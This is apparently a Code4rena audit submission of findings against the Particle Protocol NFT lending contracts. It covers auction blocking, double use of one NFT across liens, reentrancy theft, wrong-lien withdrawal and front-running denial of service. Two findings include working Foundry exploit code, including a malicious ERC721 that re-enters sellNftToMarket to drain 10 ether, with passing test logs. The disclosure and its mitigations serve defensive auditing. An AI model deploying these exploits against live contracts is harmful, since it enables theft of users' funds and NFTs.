Particle Protocol - Invitational - bin2chen's results

Lines of code

https://github.com/code-423n4/2023-05-particle/blob/1caf678bc20c24c96fc8f6b0046383ff0e9d2a6f/contracts/protocol/ParticleExchange.sol#L688

Vulnerability details

Impact

borrower can block the bidding

Proof of Concept

auctionBuyNft() When the bid is successful and there is an extra amount, it will be refunded to borrower The code is as follows:

    function auctionBuyNft(
        Lien calldata lien,
        uint256 lienId,
        uint256 tokenId,
        uint256 amount
    ) external override validateLien(lien, lienId) auctionLive(lien) {
...
        // pay PnL to borrower
        uint256 payback = lien.credit + lien.price - payableInterest - amount;
        if (payback > 0) {
            payable(lien.borrower).transfer(payback);  //<--------@audit payback to borrower
        }    

Using transfer(), a malicious borrower who is a contract can increase the gas consumption of receive(), causing transfer() to revert and thus prevent bidding

Note: withdrawEthWithInterest() has a similar problem

Tools Used

Recommended Mitigation Steps

Add claim mechanism, if transfer fails, it will enter the cliams queue, and borrower will execute claims() to get back the money.

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-05-particle/blob/1caf678bc20c24c96fc8f6b0046383ff0e9d2a6f/contracts/protocol/ParticleExchange.sol#L428

Vulnerability details

Impact

Use other Lien's NFTs for repayment

Proof of Concept

_execBuyNftFromMarket() Whether the NFT is in the current contract after buy, to represent the successful buy of NFT

    function _execBuyNftFromMarket(
        address collection,
        uint256 tokenId,
        uint256 amount,
        uint256 useToken,
        address marketplace,
        bytes calldata tradeData
    ) internal {
...

        if (IERC721(collection).ownerOf(tokenId) != address(this) || balanceBefore - address(this).balance != amount) {
            revert Errors.InvalidNFTBuy();
        }
    }    

But before executing the purchase, it does not determine whether the NFT is already in the contract

Since the current protocol does not limit an NFT to only one Lien, the _execBuyNftFromMarket() does not actually buy NFT, the funds is used to buy other NFTs but still can meet the verification conditions

Example.

1. alice transfer NFT_A to supply Lien[1]
2. bob performs sellNftToMarket(1) , and NFT_A is bought by jack
3. jack transfer NFT_A and supply Line[2] (after this NFT_A exists in the contract)
4. bob execute buyNftFromMarket(1), spend the same amount corresponding to the purchase of other NFT such as: tradeData = { buy NFT_K }
5. Step 4 can be passed IERC721(collection).ownerOf(tokenId) ! = address(this) || balanceBefore - address(this).balance ! = amount and bob gets an additional NFT_K

Test code:

    function testOneNftTwoLien() external {
        //0.lender supply lien[0]
        _approveAndSupply(lender,_tokenId);
        //1.borrower sell to market
        _rawSellToMarketplace(borrower, address(dummyMarketplace), 0, _sellAmount);
        //2.jack buy nft
        address jack = address(0x100);
        vm.startPrank(jack);
        dummyMarketplace.buyFromMarket(jack,address(dummyNFTs),_tokenId);
        vm.stopPrank();
        //3.jack  supply lien[1]
        _approveAndSupply(jack, _tokenId);        
        //4.borrower buyNftFromMarket , don't need buy dummyNFTs ,  buy other nft
        OtherDummyERC721 otherDummyERC721 = new OtherDummyERC721("otherNft","otherNft");
        otherDummyERC721.mint(address(dummyMarketplace),1);
        console.log("before borrower balance:",borrower.balance /  1 ether);
        console.log("before otherDummyERC721's owner is borrower :",otherDummyERC721.ownerOf(1)==borrower);
        bytes memory tradeData = abi.encodeWithSignature(
            "buyFromMarket(address,address,uint256)",
            borrower,
            address(otherDummyERC721),//<--------buy other nft
            1
        );
        vm.startPrank(borrower);
        particleExchange.buyNftFromMarket(
            _activeLien, 0, _tokenId, _sellAmount, 0, address(dummyMarketplace), tradeData);
        vm.stopPrank();
        //5.show borrower get 10 ether back , and get  other nft
        console.log("after borrower balance:",borrower.balance /  1 ether);
        console.log("after otherDummyERC721's owner is borrower :",otherDummyERC721.ownerOf(1)==borrower);

    }



contract OtherDummyERC721 is ERC721 {
    // solhint-disable-next-line no-empty-blocks
    constructor(string memory name, string memory symbol) ERC721(name, symbol) {}

    function mint(address to, uint256 tokenId) external {
        _safeMint(to, tokenId);
    }
}

$ forge test --match testOneNftTwoLien  -vvv

[PASS] testOneNftTwoLien() (gas: 1466296)
Logs:
  before borrower balance: 0
  before otherDummyERC721's owner is borrower : false
  after borrower balance: 10
  after otherDummyERC721's owner is borrower : true

Test result: ok. 1 passed; 0 failed; finished in 6.44ms

Tools Used

Recommended Mitigation Steps

_execBuyNftFromMarket to determine the ownerOf() is not equal to the contract address before buying

    function _execBuyNftFromMarket(
        address collection,
        uint256 tokenId,
        uint256 amount,
        uint256 useToken,
        address marketplace,
        bytes calldata tradeData
    ) internal {
        if (!registeredMarketplaces[marketplace]) {
            revert Errors.UnregisteredMarketplace();
        }
+       require(IERC721(collection).ownerOf(tokenId) != address(this),"NFT is already in contract ")
...

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-05-particle/blob/1caf678bc20c24c96fc8f6b0046383ff0e9d2a6f/contracts/protocol/ParticleExchange.sol#L291

Vulnerability details

Impact

re-enter steal funds

Proof of Concept

_execSellNftToMarket() The number of changes in the balance to represent whether the corresponding amount has been received

    function _execSellNftToMarket(
        address collection,
        uint256 tokenId,
        uint256 amount,
        bool pushBased,
        address marketplace,
        bytes calldata tradeData
    ) internal {
...

        if (
            IERC721(collection).ownerOf(tokenId) == address(this) ||
            address(this).balance - ethBefore - wethBefore != amount
        ) {
            revert Errors.InvalidNFTSell();
        }    

Since the current contract doesn't have any nonReentrant restrictions Then the user can use reentrant and pay only once when multiple _execSellNftToMarket()s share the same transfer of funds

Here are some examples.

1. alice supplies a fake NFT_A
2. alice executes sellNftToMarket(), assuming sellAmount=10
3. execSellNftToMarket() inside the IERC721(collection).safeTransferFrom() for re-entry. Note: The collection is an arbitrary contract, so safeTransferFrom() can be any code.
4. Reenter the execution of another Lien's sellNftToMarket(), and really transfer to amount=10
5. After the above re-entry, go back to step 3, this step does not need to actually pay, because step 4 has been transferred to sellAmount = 10, so it can pass this verification address(this).balance - ethBefore - wethBefore ! = amount

so that only one payment is made, reaching the sellNftToMarket() twice

Test code:

add to ParticleExchange.t.sol

    function testReenter() public{
        vm.deal(address(particleExchange),100 ether);        
        FakeERC721 fakeERC721 =  new FakeERC721(particleExchange,address(dummyMarketplace),"fake","fake");
        vm.deal(address(fakeERC721),10 ether);
        fakeERC721.execSteal();
    }



contract FakeERC721 is ERC721 {
    ParticleExchange private particleExchange;
    address private marketplace;
    uint sellAmount = 10 ether;
    constructor(ParticleExchange _particleExchange,address _marketplace, string memory name, string memory symbol) ERC721(name, symbol) {
        particleExchange = _particleExchange;
        marketplace = _marketplace;
    }

    function mint(address to, uint256 tokenId) external {
        _safeMint(to, tokenId);
    }

    function execSteal() external {
        //0. mint nft and supply lien
        uint256 tokenId = 1;
        _mint(address(this), tokenId);
        _mint(address(this), tokenId + 1);
        _setApprovalForAll(address(this),address(particleExchange), true);
        //console.log(isApprovedForAll(address(this),address(particleExchange)));
        uint256 lienId = particleExchange.supplyNft(address(this), tokenId, sellAmount, 0);
        uint256 lienId2 = particleExchange.supplyNft(address(this), tokenId + 1, sellAmount, 0);
        uint256 particleExchangeBefore = address(particleExchange).balance;
        uint256 fakeNftBefore = address(this).balance;
        console.log("before particleExchange balance:",particleExchangeBefore / 1 ether);
        console.log("before fakeNft balance:",fakeNftBefore / 1 ether);
        //1.sell , reenter pay one but sell two lien
        sell(lienId,tokenId,sellAmount); 
        //2. repay lien 1 get 10 ether funds
        particleExchange.repayWithNft(
            Lien({
                lender: address(this),
                borrower: address(this),
                collection: address(this),
                tokenId: tokenId,
                price: sellAmount,
                rate: 0,
                loanStartTime: block.timestamp,
                credit: 0,
                auctionStartTime: 0
            }),
            lienId,
            tokenId
        );
        //3. repay lien 2 get 10 ether funds
        particleExchange.repayWithNft(
            Lien({
                lender: address(this),
                borrower: address(this),
                collection: address(this),
                tokenId: tokenId + 1,
                price: sellAmount,
                rate: 0,
                loanStartTime: block.timestamp,
                credit: 0,
                auctionStartTime: 0
            }),            
            lienId2,
            tokenId + 1
        );       
        //4.show fakeNft steal funds
        console.log("after particleExchange balance:",address(particleExchange).balance/ 1 ether);
        console.log("after fakeNft balance:",address(this).balance/ 1 ether);
        console.log("after particleExchange lost:",(particleExchangeBefore - address(particleExchange).balance)/ 1 ether);       
        console.log("after fakeNft steal:",(address(this).balance - fakeNftBefore) / 1 ether);        
    }

    function sell(uint256 lienId,uint256 tokenId,uint256 sellAmount) private{
        bytes memory tradeData = abi.encodeWithSignature(
            "sellToMarket(address,address,uint256,uint256)",
            address(particleExchange),
            address(this),
            tokenId,
            sellAmount
        );
        particleExchange.sellNftToMarket(
            Lien({
                lender: address(this),
                borrower: address(0),
                collection: address(this),
                tokenId: tokenId,
                price: sellAmount,
                rate: 0,
                loanStartTime: 0,
                credit: 0,
                auctionStartTime: 0
            }),
            lienId,
            sellAmount,
            true,
            marketplace,
            tradeData
        );         
    }        
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory data
    ) public virtual override {
        if(from == address(particleExchange)){
            if (tokenId == 1) { //tokenId =1 , reenter , don't pay
                sell(1,tokenId + 1 ,sellAmount);
            }else { // tokenId = 2 ,real pay
                payable(address(particleExchange)).transfer(sellAmount);
            }
        }
        _transfer(_ownerOf(tokenId),to,tokenId); //anyone can transfer
    }
    fallback() external payable {}
}

$ forge test --match testReenter  -vvv

Running 1 test for test/ParticleExchange.t.sol:ParticleExchangeTest
[PASS] testReenter() (gas: 1869563)
Logs:
  before particleExchange balance: 100
  before fakeNft balance: 10
  after particleExchange balance: 90
  after fakeNft balance: 20
  after particleExchange lost: 10
  after fakeNft steal: 10

Test result: ok. 1 passed; 0 failed; finished in 4.80ms

Tools Used

Recommended Mitigation Steps

Add nonReentrant restrictions to all Lien-related methods

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-05-particle/blob/1caf678bc20c24c96fc8f6b0046383ff0e9d2a6f/contracts/protocol/ParticleExchange.sol#L183

Vulnerability details

Impact

Possible take away other Lien's NFT

Proof of Concept

withdrawNftWithInterest() Used to retrieve NFT The only current restriction is that if you can transfer out of NFT, it means an inactive loan

    function withdrawNftWithInterest(Lien calldata lien, uint256 lienId) external override validateLien(lien, lienId) {
        if (msg.sender != lien.lender) {
            revert Errors.Unauthorized();
        }

        // delete lien
        delete liens[lienId];

        // transfer NFT back to lender
        /// @dev can withdraw means NFT is currently in contract without active loan,
        /// @dev the interest (if any) is already accured to lender at NFT acquiring time
        IERC721(lien.collection).safeTransferFrom(address(this), msg.sender, lien.tokenId);
...

However, the current protocol does not restrict the existence of only one Lien in the same NFT

For example, the following scenario.

1. alice transfer NFT_A and supply Lien[1]
2. bob executes sellNftToMarket()
3. jack buys NFT_A from the market
4. jack transfers NFT_A and supply Lien[2]
5. alice executing withdrawNftWithInterest(1) is able to get NFT_A successfully (because step 4 NFT_A is already in the contract) This results in the deletion of lien[1], and Lien[2]'s NFT_A is transferred away

The result is: jack's NFT is lost, and bob's funds are also lost

Tools Used

Recommended Mitigation Steps

Need to determine whether there is a Loan

    function withdrawNftWithInterest(Lien calldata lien, uint256 lienId) external override validateLien(lien, lienId) {
        if (msg.sender != lien.lender) {
            revert Errors.Unauthorized();
        }

+       require(lien.loanStartTime == 0,"Active Loan");

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-05-particle/blob/1caf678bc20c24c96fc8f6b0046383ff0e9d2a6f/contracts/protocol/ParticleExchange.sol#L518

Vulnerability details

Impact

DOS Attack

Proof of Concept

addCredit() can be called by anyone, and the msg.value is as small as 1 wei.

Users can modify Lien at a small cost, causing the value stored in liens[lienId]=keccak256(abi.encode(lien)) to change By front-run, the normal user's transaction validateLien() fails the check, thus preventing the user's transaction from being executed

The following methods will be exploited: (most methods with validateLien() will be affected) For example.

1. front-run auctionBuyNft() is used to prevent others from bidding
2. front-run startLoanAuction() to prevent the lender from starting the auction
3. front-run stopLoanAuction() is used to stop Lender from closing the auction etc.

Tools Used

Recommended Mitigation Steps

1. addCredit() can execute only be the borrower
2. add the modification interval period
3. limit min of msg.value

Assessed type

Context

L-01:_execSellNftToMarket() IERC721.ownerOf() method will revert after NFT has burn(), resulting in sell failure

_execSellNftToMarket() uses IERC721(collection).ownerOf(tokenId) == address(this) at the end of the method to determine if it is InvalidNFTSell But in some extreme cases, for example, people who buy NFTs with the intention of burning them, but use ownerOf(), resulting in a revert

    function ownerOf(uint256 id) public view virtual returns (address owner) {
        require((owner = _ownerOf[id]) ! = address(0), "NOT_MINTED").
    }

_execSellNftToMarket () purpose is to sell NFT, even if this sell NFT was burned, should also be successful, should not be NFT burn restrictions, resulting in the inability to sell

It is recommended to use try/catch, if it has been burn, considered a valid sell

L-02:_withdrawAccountInterest() may not be able to use transfer() to receive funds if lender is a contract It is recommended to add the entry receiver